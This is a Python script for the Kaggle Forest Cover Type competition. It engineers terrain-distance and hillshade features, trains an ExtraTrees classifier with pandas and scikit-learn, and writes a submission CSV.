import pandas as pd from sklearn import ensemble import numpy as np def LoadData(loc): print("Load data") df = pd.read_csv(loc) return df; def FeatureEngineering(df): print("Feature engineering") df['dist2water'] = pd.Series(df['Horizontal_Distance_To_Hydrology']*df['Horizontal_Distance_To_Hydrology'] +df['Vertical_Distance_To_Hydrology']*df['Vertical_Distance_To_Hydrology'], index=df.index) df['d11'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']+df['Horizontal_Distance_To_Roadways']), index=df.index) df['d12'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']-df['Horizontal_Distance_To_Roadways']), index=df.index) df['d21'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']+df['Horizontal_Distance_To_Fire_Points']), index=df.index) df['d22'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']-df['Horizontal_Distance_To_Fire_Points']), index=df.index) df['d31'] = pd.Series(abs(df['Horizontal_Distance_To_Roadways']+df['Horizontal_Distance_To_Fire_Points']), index=df.index) df['d32'] = pd.Series(abs(df['Horizontal_Distance_To_Roadways']-df['Horizontal_Distance_To_Fire_Points']), index=df.index) df['EVDtH'] = df.Elevation-df.Vertical_Distance_To_Hydrology df['EHDtH'] = df.Elevation-df.Horizontal_Distance_To_Hydrology*0.2 df['ell1'] = pd.Series(df['Hillshade_3pm']*df['Hillshade_3pm']+df['Hillshade_9am']*df['Hillshade_9am'], index=df.index) df['ell2'] = pd.Series(df['Hillshade_3pm']*df['Hillshade_3pm']+df['Hillshade_Noon']*df['Hillshade_Noon'], index=df.index) df['ell3'] = pd.Series(df['Hillshade_Noon']*df['Hillshade_Noon']+df['Hillshade_9am']*df['Hillshade_9am'], index=df.index) df['shaderatio1'] = pd.Series(df['Hillshade_9am']/(df['Hillshade_Noon']+1), index=df.index) df['shaderatio2'] = pd.Series(df['Hillshade_3pm']/(df['Hillshade_Noon']+1), index=df.index) df['shaderatio3'] = pd.Series(df['Hillshade_3pm']/(df['Hillshade_9am']+1.0), index=df.index) df['meanShade'] = pd.Series(df['Hillshade_9am']+df['Hillshade_Noon']+df['Hillshade_3pm'], index=df.index) df['Highwater'] = df.Vertical_Distance_To_Hydrology < 0 df['VertDist'] = df.Vertical_Distance_To_Hydrology.abs(); df['ratiodist1'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']/(abs(df['Vertical_Distance_To_Hydrology'])+1)), index=df.index) df['ratiodist2'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']/(df['Horizontal_Distance_To_Fire_Points']+1)), index=df.index) df['ratiodist3'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']/(df['Horizontal_Distance_To_Roadways']+1)), index=df.index) df['ratiodist4'] = pd.Series(abs(df['Horizontal_Distance_To_Fire_Points']/(df['Horizontal_Distance_To_Roadways']+1)), index=df.index) df['maxdist'] = pd.Series(df[['Horizontal_Distance_To_Hydrology','Horizontal_Distance_To_Fire_Points',\ 'Horizontal_Distance_To_Roadways']].max(axis=1), index=df.index) return; def TrainForest(df_train, ntree): feature_cols = [col for col in df_train.columns if col not in ['Cover_Type','Id']] X_train = df_train[feature_cols] y = df_train['Cover_Type'] test_ids = df_test['Id'] print("Training...") clf = ensemble.ExtraTreesClassifier(n_estimators = ntree, n_jobs = -1,verbose=1) clf.fit(X_train, y) return clf; def DefTestSet(df_test): feature_cols = [col for col in df_test.columns if col not in ['Cover_Type','Id']] test_ids = df_test['Id'] X_test = df_test[feature_cols] return test_ids, X_test; def ExportData(loc_submission,clf,X_test,test_ids): print("Predicting") y_test = clf.predict(X_test) print("Writing data...") with open(loc_submission, "wb") as outfile: outfile.write("Id,Cover_Type\n") for e, val in enumerate(list(y_test)): outfile.write("%s,%s\n"%(test_ids[e],val)) return y_test; ################ ##### MAIN ##### ################ loc_train = "train.csv" loc_test = "test.csv" loc_submission = "kaggle.forest.submission_features_new.csv" # Loading data df_train = LoadData(loc_train); df_test = LoadData(loc_test); # Features FeatureEngineering(df_train); FeatureEngineering(df_test); rf = TrainForest(df_train,2000); test_ids, X_test = DefTestSet(df_test); #y_test = rf.predict(X_test); #df_test['Cover_Type'] = pd.Series(y_test,index=df_test.index); #df_combi = df_train.append(df_test); #rf2 = TrainForest(df_combi,5); ExportData(loc_submission,rf,X_test,test_ids); pd.DataFrame(rf.feature_importances_,index=X_test.columns).sort([0], ascending=False) [:10]
UTF-8
Python
false
false
2,014